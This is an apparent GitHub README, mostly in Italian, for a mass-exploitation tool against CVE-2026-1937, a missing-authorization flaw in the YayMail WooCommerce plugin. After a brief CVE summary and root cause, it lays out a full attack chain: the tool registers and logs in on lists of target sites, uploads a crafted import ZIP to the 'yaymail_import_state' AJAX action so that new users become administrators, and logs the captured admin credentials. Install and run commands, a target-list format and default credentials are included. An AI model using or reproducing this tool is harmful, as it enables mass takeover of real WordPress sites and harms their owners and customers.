nxploited/cve-2026-1937YayMail <= 4.3.2 - Autorizzazione mancante per Utenti autenticati (Shop Manager+) Aggiornamento arbitrario delle opzioni tramite l'azione AJAX 'yaymail_import_state'
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2026-1937 |
| Gravità | ALTA — Punteggio CVSS v3.1: 7.2 |
| Vettore | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Ricercatore | Daniel Basta (whizzu) — NASK PIB |
| Pubblicazione pubblica | 17 febbraio 2026 |
| Ultimo aggiornamento | 27 marzo 2026 |
| Software interessato | YayMail – Plugin WooCommerce Email Customizer per WordPress |
| Versioni interessate | Tutte le versioni fino alla 4.3.2 inclusa |
| Tipo di vulnerabilità | Autorizzazione mancante → Aggiornamento arbitrario non autorizzato delle opzioni → Escalation dei privilegi |
| Autenticazione richiesta | Sì — livello Shop Manager o superiore |
| CWE | CWE-862: Autorizzazione mancante |
Descrizione:
Il plugin YayMail – WooCommerce Email Customizer per WordPress è vulnerabile a una modifica non autorizzata dei dati che porta a un'Escalation dei Privilegi in tutte le versioni fino alla 4.3.2 inclusa. L'azione AJAX yaymail_import_state è registrata senza alcun controllo delle capacità lato server, consentendo ad attaccanti autenticati con accesso di livello Shop Manager o superiore di invocarla liberamente. Caricando un file di importazione ZIP appositamente creato, l'attaccante può sovrascrivere silenziosamente opzioni arbitrarie del sito WordPress — inclusa l'impostazione del ruolo predefinito di registrazione dei nuovi utenti su administrator e l'attivazione della registrazione pubblica aperta. Una volta iniettate queste opzioni, qualsiasi visitatore può registrarsi autonomamente sul sito e ricevere un account Amministratore WordPress completo, con conseguente compromissione totale del sito.
Questa è una catena di sfruttamento di massa Proof-of-Concept (PoC) che prende di mira installazioni WordPress + WooCommerce che eseguono una versione vulnerabile del plugin YayMail. Lo strumento implementa un attacco end-to-end completo: registrazione WooCommerce → login → estrazione nonce YayMail → exploit yaymail_import_state → verifica admin.
[Phase 1 — Registration]
GET /my-account/ → Extract WooCommerce register nonce
POST /my-account/ → Register new account (WooCommerce form)
→ Save credentials to reg.txt
↓
[Phase 2 — Login]
POST /wp-login.php → Try WordPress native login
POST /my-account/ (WooC.) → Fallback WooCommerce login
→ Establish authenticated session
↓
[Phase 3 — Admin Pre-check]
GET /wp-admin/ → If already admin, skip to result
↓
[Phase 4 — YayMail Exploit]
GET /wp-admin/admin.php?page=yaymail-settings
→ Extract: ajax_url + nonce
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_nonce>
import_file=yaymail_backup.zip
→ Override WordPress options:
· default_role = administrator
· users_can_register = 1
↓
[Phase 5 — Admin Verification]
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com user:<u> pass:<p>
yaymail_backup.zip — payload di importazione appositamente creato (richiesto)pip install requests urllib3 rich
Oppure tramite il file dei requisiti:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937
# Install dependencies
pip install -r requirements.txt
# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .
# Run the tool
python3 CVE-2026-1937.py
python3 CVE-2026-1937.py
Lo strumento utilizza un'interfaccia terminale completamente interattiva basata su Rich.
Crea un file di testo semplice (predefinito: list.txt) — un target per riga:
https://target1.com
https://target2.com
http://target3.com
target4.com
I target senza
http://ohttps://ricevono automaticamente il prefissohttps://.
Username [Nx_admin]: Nx_admin
Password [Nx_adminSA]: Nx_adminSA
Email [[email protected]]: [email protected]
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
yaymail_backup.zipL'exploit richiede un file ZIP di importazione YayMail appositamente creato che sovrascrive le seguenti opzioni WordPress quando viene importato:
| Opzione WordPress | Valore Iniettato |
|---|---|
default_role | administrator |
users_can_register | 1 |
⚠️ Lo strumento rifiuterà di eseguire se
yaymail_backup.zipnon è presente nella directory di lavoro.
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip (multipart upload)
Causa principale:
Il gestore yaymail_import_state non chiama current_user_can() né alcun controllo equivalente delle capacità prima di elaborare l'importazione. Qualsiasi utente con il ruolo shop_manager (o superiore) può invocare liberamente questa azione e sovrascrivere voci arbitrarie della tabella wp_options tramite il meccanismo di importazione ZIP.
Lo strumento esegue automaticamente la scansione dei seguenti percorsi per i moduli di registrazione e login:
/my-account/ /my_account/ /My-account/
/account/ /myaccount/ /customer-login/
/login/ /register/ /sss/
| File | Descrizione |
|---|---|
reg.txt | Tutte le registrazioni WooCommerce riuscite con le credenziali |
Nx_admin.txt | Tutte le escalation ad amministratore confermate |
reg.txt:
[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import